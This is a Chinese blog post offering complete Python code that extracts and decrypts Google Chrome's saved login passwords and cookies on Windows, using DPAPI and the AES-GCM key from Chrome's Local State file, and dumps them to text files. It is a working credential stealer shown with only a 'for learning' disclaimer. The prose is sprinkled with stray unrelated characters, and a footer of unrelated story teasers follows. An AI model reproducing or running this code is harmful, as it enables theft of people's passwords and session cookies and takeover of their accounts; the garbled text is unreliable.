[py054] 破解瀏覽器密碼和cookie

Friday, June 5, 2020 ---Andy

效果

代碼

import base64
import json
import os
import sqlite3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from win32crypt import CryptUnprotectData


def sqlite_execute(database='sqlite_test_db.db', sql="select name from sqlite_master"):
    """Sqlite3操作函數(shù)逃糟,@return: select操作:rows-->[()...]"""
    try:
        # 1.連接數(shù)據(jù)庫
        conn = sqlite3.connect(database)
        # 2.執(zhí)行sql:以查詢數(shù)據(jù)庫里面包含的所有表為例
        rows = [row for row in conn.execute(sql)]
        # 3.關(guān)閉數(shù)據(jù)庫
        conn.close()
        return rows
    except Exception as e:
        print(e)
    finally:
        conn.close()


def decrypt_google_data(data):
    """破解Google瀏覽器數(shù)據(jù)加密(包括登錄密碼和Cookies)"""
    if data[0:3] != b'v10':
        return CryptUnprotectData(data)[1].decode('utf-8')
    else:
        # 針對:chrome 80+版本以后對 cookie加密方式
        def get_the_encrypted_key():
            local_state = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data\Local State'
            with open(local_state, 'r', encoding='utf-8') as f:
                base64_encrypted_key = json.load(f)['os_crypt']['encrypted_key']
            encrypted_key_with_header = base64.b64decode(base64_encrypted_key)
            encrypted_key = encrypted_key_with_header[5:]
            decrypted_key = CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
            return decrypted_key
        key = get_the_encrypted_key()
        nonce, cipherbytes = data[3:15], data[15:]
        aesgcm = AESGCM(key)
        return aesgcm.decrypt(nonce, cipherbytes, None).decode('utf-8')


def get_password_from_chrome():
    """獲取Google瀏覽器網(wǎng)站登錄密碼"""
    passwords_db_path = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data\Default\Login Data'
    passwords_list = []
    for row in sqlite_execute(database=passwords_db_path,
                              sql="select signon_realm,username_value,password_value from logins"):
        password = decrypt_google_data(row[2])
        passwords_list.append(f'url {row[0][:50]:<40} username {row[1]:<20} password {password}\n')
    with open("GoogleBrowserPassword.txt", "w") as f:
        f.writelines(passwords_list)
    return passwords_list


def get_cookie_from_chrome():
    """獲取Google瀏覽器的網(wǎng)站Cookies"""
    cookies_db_path = os.environ['LOCALAPPDATA'] + r"\Google\Chrome\User Data\Default\Cookies"
    cookies_list = []
    for row in sqlite_execute(database=cookies_db_path, sql="select host_key,name,encrypted_value from cookies"):
        host_key, name, encrypted_value = row
        cookies_list.append(f"{host_key}, {name}, {decrypt_google_data(row[2])}\n")
    with open("GoogleBrowserCookies.txt", "w") as f:
        f.writelines(cookies_list)
    return cookies_list


if __name__ == '__main__':
    get_password_from_chrome()
    get_cookie_from_chrome()

最后

[1].代碼截止2020-06-05調(diào)試無誤。
[2].如需全部代碼及相關(guān)文件躬贡,留言郵箱谆奥。
[3].過程中有任何問題,歡迎交流拂玻。Q597966823
[4].僅供學(xué)習(xí)交流使用酸些。

??讓知識或技術(shù)實現(xiàn)其最大的價值宰译,歡迎收藏自用、轉(zhuǎn)載分享魄懂,轉(zhuǎn)載請注明原文出處沿侈,謝謝!
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末市栗,一起剝皮案震驚了整個濱河市缀拭,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌填帽,老刑警劉巖蛛淋,帶你破解...
    沈念sama閱讀 206,602評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異盲赊,居然都是意外死亡铣鹏,警方通過查閱死者的電腦和手機敷扫,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,442評論 2 382
  • 文/潘曉璐 我一進店門哀蘑,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人葵第,你說我怎么就攤上這事绘迁。” “怎么了卒密?”我有些...
    開封第一講書人閱讀 152,878評論 0 344
  • 文/不壞的土叔 我叫張陵缀台,是天一觀的道長。 經(jīng)常有香客問我哮奇,道長膛腐,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,306評論 1 279
  • 正文 為了忘掉前任鼎俘,我火速辦了婚禮哲身,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘贸伐。我一直安慰自己勘天,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 64,330評論 5 373
  • 文/花漫 我一把揭開白布捉邢。 她就那樣靜靜地躺著脯丝,像睡著了一般。 火紅的嫁衣襯著肌膚如雪伏伐。 梳的紋絲不亂的頭發(fā)上宠进,一...
    開封第一講書人閱讀 49,071評論 1 285
  • 那天,我揣著相機與錄音藐翎,去河邊找鬼材蹬。 笑死潦匈,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的赚导。 我是一名探鬼主播茬缩,決...
    沈念sama閱讀 38,382評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼吼旧!你這毒婦竟也來了凰锡?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,006評論 0 259
  • 序言:老撾萬榮一對情侶失蹤圈暗,失蹤者是張志新(化名)和其女友劉穎掂为,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體员串,經(jīng)...
    沈念sama閱讀 43,512評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡勇哗,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,965評論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了寸齐。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片欲诺。...
    茶點故事閱讀 38,094評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖渺鹦,靈堂內(nèi)的尸體忽然破棺而出扰法,到底是詐尸還是另有隱情,我是刑警寧澤毅厚,帶...
    沈念sama閱讀 33,732評論 4 323
  • 正文 年R本政府宣布塞颁,位于F島的核電站,受9級特大地震影響吸耿,放射性物質(zhì)發(fā)生泄漏祠锣。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,283評論 3 307
  • 文/蒙蒙 一咽安、第九天 我趴在偏房一處隱蔽的房頂上張望伴网。 院中可真熱鬧,春花似錦板乙、人聲如沸是偷。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,286評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽蛋铆。三九已至,卻和暖如春放接,著一層夾襖步出監(jiān)牢的瞬間刺啦,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,512評論 1 262
  • 我被黑心中介騙來泰國打工纠脾, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留玛瘸,地道東北人蜕青。 一個月前我還...
    沈念sama閱讀 45,536評論 2 354
  • 正文 我出身青樓,卻偏偏與公主長得像糊渊,于是被迫代替她去往敵國和親右核。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,828評論 2 345